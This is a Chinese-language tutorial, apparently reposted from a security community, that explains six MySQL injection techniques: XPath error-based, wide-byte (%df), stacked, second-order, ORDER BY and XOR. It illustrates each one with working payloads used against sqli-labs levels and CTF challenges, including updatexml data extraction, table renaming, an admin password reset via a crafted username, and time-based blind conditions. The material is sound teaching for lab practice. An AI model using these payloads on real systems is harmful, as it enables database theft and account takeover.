原理+实战掌握SQL注入方法
本文首發于先知社區
原理+實戰掌握SQL注入方法
前言:
SQL注入是web安全中最常見的攻擊方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感覺也很難掌握,這次就總結一下我所遇到的SQL注入方法,原理分析+題目實戰。
0x00 Xpath報錯注入
涉及函數
updatexml():對xml進行查詢和修改
extractvalue():對xml進行查詢和修改
報錯語句構造
select extractvalue(1,concat(0x7e,user(),0x7e)); mysql> select extractvalue(1,concat(0x7e,user(),0x7e)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~' select updatexml(1,concat(0x7e,version(),0x7e),1); mysql> select updatexml(1,concat(0x7e,version(),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'原理分析
extractvalue(xml_str , Xpath) 函數,按照Xpath語法從XML格式的字符串中提取一個值,如果函數中任意一個參數為NULL,返回值都是NULL。
其實就是對XML文檔進行查詢的函數,相當于HTML文件中用 <div><p><a>等標簽查找元素一樣,第一個參數傳入目標xml文檔,第二個參數使用Xpath路徑法表示的查找路徑
舉個簡單例子:
select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c');尋找前一段xml文檔內容中的a節點下的c節點
+----------------------------------------------------------+ | extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c') | +----------------------------------------------------------+ | accc | +----------------------------------------------------------+正常情況下的使用便是這樣,但如果我們構造了不合法的Xpath ,MySQL便會出現語法錯誤,從而顯示出XPath的內容。
發現報錯時少了一部分,沒有前面的root,產生這樣的問題是因為Xpath語法只有遇到特殊字符時才會報錯
那我們直接在需要連接的字符前添加特殊字符即可爆出我們想要的結果
但是也要注意,報錯的長度是有一定限制的,不要構造過長的payload,否則后面的字符串會被截斷
updatexml()函數 與extractvalue()類似 ,是更新xml文檔的函數
updatexml()函數有三個參數,分別是(XML_document, XPath_string, new_value)
第一個參數:XML_document是String格式,為XML文檔對象的名稱 第二個參數:XPath_string (Xpath格式的字符串) 第三個參數:new_value,String格式,替換查找到的符合條件的數據原理相同,都是遇到特殊字符爆出錯誤
題目實戰
sqli-labs17關,涉及到xpath報錯注入
uname嘗試發現沒有任何變化,嘗試下passwd,發現單引號報錯,且有報錯信息,可以使用xpath報錯注入 嘗試下爆出數據庫
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit既然xpath報錯注入可以,那就來一一爆出表、字段、值即可
payload:
uname=admin&passwd=1' or updatexml(1,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),1)# &submit=Submit下面就基本上將payload改下即可,但到爆值時會出一個問題
payload:
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit出現這個錯誤的,是因為不能先select出同一表中的某些值,再update這個表
百度查找解決方法,發現需要再在外面加一層select即可解決
最終payload:
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)c limit 0,1),0x7e),1)#&submit=Submit0x01 寬字節注入
涉及函數
addslashes() 函數返回在預定義字符之前添加反斜杠的字符串
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符
mysql_escape_string() — 轉義一個字符串
原理分析
先了解一下什么是窄、寬字節已經常見寬字節編碼:
一、當某字符的大小為一個字節時,稱其字符為窄字節.二、當某字符的大小為兩個字節時,稱其字符為寬字節.三、所有英文默認占一個字節,漢字占兩個字節四、常見的寬字節編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等為什么會產生寬字節注入,其中就涉及到編碼格式的問題了,寬字節注入主要是源于程序員設置數據庫編碼與PHP編碼設置為不同的兩個編碼格式從而導致產生寬字節注入
問題就出現在使用PHP連接MySQL的時候,當設置
“set character_set_client = gbk”時會導致一個編碼轉換的問題
如果數據庫使用的的是GBK編碼而PHP編碼為UTF8就可能出現注入問題,原因是程序員為了防止SQL注入,就會調用我們上面所介紹的幾種函數,將單引號或雙引號進行轉義操作,轉義無非便是在單或雙引號前加上斜杠(\)進行轉義 ,但這樣并非安全,因為數據庫使用的是寬字節編碼,兩個連在一起的字符會被當做是一個漢字,而在PHP使用的UTF8編碼則認為是兩個獨立的字符,如果我們在單或雙引號前添加一個字符,使其和斜杠(\)組合被當作一個漢字,從而保留單或雙引號,使其發揮應用的作用。但添加的字符的Ascii要大于128,兩個字符才能組合成漢字 ,因為前一個ascii碼要大于128,才到漢字的范圍 ,這一點需要注意。
題目實戰
大段的文字可能枯燥無味,下面實戰來體驗一下:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1'返回結果為
your sql:select id,title from news where id = '1\''發現被轉義了,使用最經典的%df
?id=1%df' and 1=1%23返回結果為:
your sql:select id,title from news where id ='1運' and 1=1#'%df和后面的\變成了一個漢字“運” ,所以單引號就可以不被轉義,從而發揮閉合作用
爆出數據庫,下面就很簡單了,相當于知道了閉合符號,常用的payload更改一下即可
SQL-labs32和33關也涉及到了寬字節注入,輸入
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'
發現也是被轉義了,那可以試一下寬字節注入
出現報錯語句,說明單引號已經起作用了,后面的就常規payload即可
0x02 堆疊注入
涉及字符
分號(;),在SQL語句中用來表示一條sql語句的結束
原理分析
堆疊注入可以執行任意的語句 ,多條sql 語句一起執行。在MYSQL命令框中,常以;作為結束符,那我們便可以在一句SQL語句結束后再緊跟一句SQL語句 。
例如:
mysql> show databases;use web1;select 1,2,3; +--------------------+ | Database | +--------------------+ | information_schema | | BWVS | | bbs | | challenges | | dvwa | | mysql | | performance_schema | | security | | test | | web1 | +--------------------+ 10 rows in set (0.00 sec)Database changed +---+---+---+ | 1 | 2 | 3 | +---+---+---+ | 1 | 2 | 3 | +---+---+---+ 1 row in set (0.00 sec)但堆疊注入是有局限性的,并不是每個環境都可以用到的:
一、可能受到API或者數據庫引擎不支持的限制 二、權限不足所以一般這種方法的注入只會出現在CTF題中,但正因為這種方法感覺簡單,很多人都會忽略掉,強網杯的web題隨便注便用到了這種方法,當時真的懵的一批。
題目實戰
發現是回顯注入,在測試過程中,發現
很多重要的關鍵字都被過濾了,發現可以使用堆疊注入,那就來嘗試一波
在此之前那,已經測試出'為閉合符號,那就來查詢數據庫、數據表
查數據庫
1';show databases;#
查詢數據表
再分別查詢1919810931114514表和words表
查詢words表時,發現有id列,我們隨便輸入數字時,會回顯出對應內容,所以回顯內容肯定是從word這張表中回顯的
再查詢1919810931114514表
1';show columns from `1919810931114514`;#
但是到這里就會出現問題,雖然我們已經得到了flag了,但是select被過濾了,而show命令又不能查看值。這就比較頭疼了,不過如果仔細觀察的話,一開始過濾的并沒有alert 和 rename,我們已經知道了words是用來回顯內容的,能不能我們把1919810931114514這個表更改名字為words,并增加相應的字段,使之回顯原1919810931114514這個表的內容那,當然是可以的,這種思路。。。大師傅tql
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#用1' or '1'='1訪問一下,便可以發現flag
通過這道題的訓練,便可以對堆疊注入有很深的印象了
0x03 二次注入
涉及函數
addslashes() 函數返回在預定義字符之前添加反斜杠的字符串
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符
mysql_escape_string() — 轉義一個字符串
二次注入原理
看到涉及到的函數是不是感覺很熟悉,這是因為大多數網站都會對用戶輸入的語句進行對特殊符號的過濾,例如:惡意用戶構造的插入語句為1',經過這些函數的處理則變為1\',這樣便可以防止用戶向服務器插入數據時引發的一些惡意操作,但這只是中途過濾了一下,最終返回到數據庫里面的數據還是1',如果管理者對取出的數據沒有進行進一步的檢驗處理,服務器從數據庫取出惡意數據,未經過濾就直接拼接SQL語句進行查詢,就會發生了SQL二次注入。
注意:二次注入不是注入兩次的意思,二次注入相當于存儲型的注入,可以看下面的圖,介紹的也很直觀。
總結起來 二次注入其實是分為兩個步驟:
原理既是如此,但不實戰是無法掌握的,下面就來實戰練習二次注入。
題目實戰
SQL-labs24關便涉及到二次注入
先來看一下登陸時的源碼
過濾函數將特殊符號給過濾掉了,所以直接注入是沒戲的
再來查看一下用戶注冊的源碼
同樣過濾特殊字符,從注冊進行注入也是不可能了
最后看一下修改密碼的源碼
同樣如此,那就只能利用二次注入,先將惡意語句注入進數據庫中,再調用
我們先注冊一個用戶admin'#,密碼設置為123,注冊好之后查看一下數據庫
注冊成功,這時其實我們就可以修改管理員admin,為什么那,來看下修改密碼的sql語句
我們用戶名為admin'#,調用該用戶時,SQL語句則變為了
我們將admin密碼更改為123456,測試一下
更改成功,這便是二次注入的簡單利用
0x04 Order By注入
涉及函數
if()函數
updatexml()函數
extractvalue()函數
regexp()函數
rand()函數
原理分析
當用戶提供的數據通過MySQL的“Order By”語句中的值進行傳遞時,如果可控制的位置在order by子句后,如order參數可控:select * from xxxxx order by $_GET['order']可能就會引發order by注入
利用大師傅的環境簡單復現一下,源碼分析:
<?php error_reporting(0); session_start(); mysql_connect("127.0.0.1", "xxxx", "xxxx") or die("Database connection failed "); mysql_select_db("sqlidemo") or die("Select database failed");$order = $_GET['order'] ? $_GET['order'] : 'name'; $sql = "select id,name,price from goods order by $order"; $result = mysql_query($sql); $reslist = array(); while($row = mysql_fetch_array($result, MYSQL_ASSOC)) {array_push($reslist, $row); } echo json_encode($reslist); ?>if(語句1、語句2、語句3)如果語句1為真,則執行語句2,否則則執行語句3
/?order=IF(1=1,name,price) 通過name字段排序 /?order=IF(1=2,name,price) 通過price字段排序
簡單介紹下SQL語句中case 的兩種格式
兩種方式,可以實現相同的功能。簡單Case函數的寫法相對比較簡潔,但是和Case搜索函數相比,功能方面會有些限制,比如寫下面的判斷式
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通過name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通過price字段排序如果想利用構造的語句的話,直接將后面的選項更改成自己構造的語句即可
IFNULL() 函數用于判斷第一個表達式是否為 NULL,如果為 NULL 則返回第二個參數的值,如果不為 NULL 則返回第一個參數的值,所以也可以通過IFNULL來排序,甚至構造惡意語句
返回多條記錄
/?order=IF(1=1,1,(select+1+union+select+2)) 正確 /?order=IF(1=2,1,(select+1+union+select+2)) 錯誤
利用報錯
利用if語句,也可以在參數order后構造時間盲注,同樣也是這里雖然是簡單的排序,但如果將語句更改為猜解數據庫的語句也是可以的
如:
利用order by注入不可能直接爆出數據,只能通過猜解來獲得數據,猜解數據時只能一位一位的猜,所以可以利用substr截取函數以及left、right函數將每個字符分割出來,進行猜解,如果遇到Order by注入,最好用腳本,手注得累死
Order by注入就是通過這些函數,開發者本意是希望方便用戶進行排序觀察等,但如果不對其做出任何限制,就會被惡意利用,利用函數的功能去執行一些SQL注入語句,從而泄露信息。
題目實戰
使用SQL-labs46關做測試
利用sort可以進行信息查詢,可以通過asc 和desc查看返回數據是否相同來簡單判斷是否存在order by注入,因為如果語句中不寫order by,默認是按照表結構中定義的“主鍵”(Primary Key) 進行升序(ASC)排列,如果通過asc 和desc查看返回數據相同則不存在order by注入,反之則存在。
上面原理介紹也說過,order by注入依靠那些函數,所以我們可以構造任意的語句
如:報錯語句
?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
下面的更改報錯語句中的payload就可爆出其他內容
時間盲注
?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))
我們將前面的判斷條件更改即可來猜解數據,例如:
這里我估計設置ascll大一點來測試是否可行,除此之外還可以利用rand函數
?sort=rand(ascii(substr((select database()),1,1))>127) ?sort=rand(ascii(substr((select database()),1,1))>1)發現回顯內容是不同的,那如何判斷是對是錯,如何寫出腳本
發現ascll>127時最后顯示的admin1,而ascll>1時為superman
經過多次測試
superman_代表正確
admin1_代表錯誤
即可寫出盲注腳本,來猜解數據庫、表等信息
總結:這次就先總結到這里,SQL注入還有很多姿勢,如異或注入等,
0x05 異或注入
涉及符號
MySQL中,異或用^或xor表示
原理分析
異或注入原理較為簡單一些,運算法則就是:兩個條件相同(同真或同假)即為假(0),兩個條件不同即為真(1),null與任何條件做異或運算都為null
簡單在mysql命令行演示一下:
用異或方法可以判斷一些字符是否被過濾,如:
CTF題中如果想判斷那些函數被過濾,便可以通過異或查詢
題目實戰
當id=5時,顯示出來這段提示,那就來SQL注入
輸入id=1'時報錯
當輸入id=1'%23時不報錯,輸入id=1' and 1=1%23又報錯,看來是過濾了and或者空格,經測試發現是過濾了and,那肯定還有被過濾的字符,可以使用異或查詢來判斷出那個字符被過濾掉
這里可能會有點繞,故意設置成長度不等于0,假如length('union')!=0成立(真),則說明union未被過濾,則頁面將會回顯錯誤(因為同真即為假),如果length('union')!=0不成立(假),說明union確實已經被過濾掉了,則頁面回顯正常
頁面回顯正常,說明length('union')==0,故union被過濾掉了,同樣的方法檢測
等字符被過濾掉
下面通過雙寫繞過即可得出表名等,這里重點在于介紹異或查詢這種方法,所以下面就不深究了。
異或注入也是同樣的原理,更改相應的payload即可
總結
注入的方法真的很多,除此之外還有利用MySQL的SQL預處理進行注入等等,要學的內容還有很多,繼續加油!
總結
以上是生活随笔為你收集整理的原理+实战掌握SQL注入方法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小型PHP论坛搭建
- 下一篇: 记第一次线下AWD感受及复现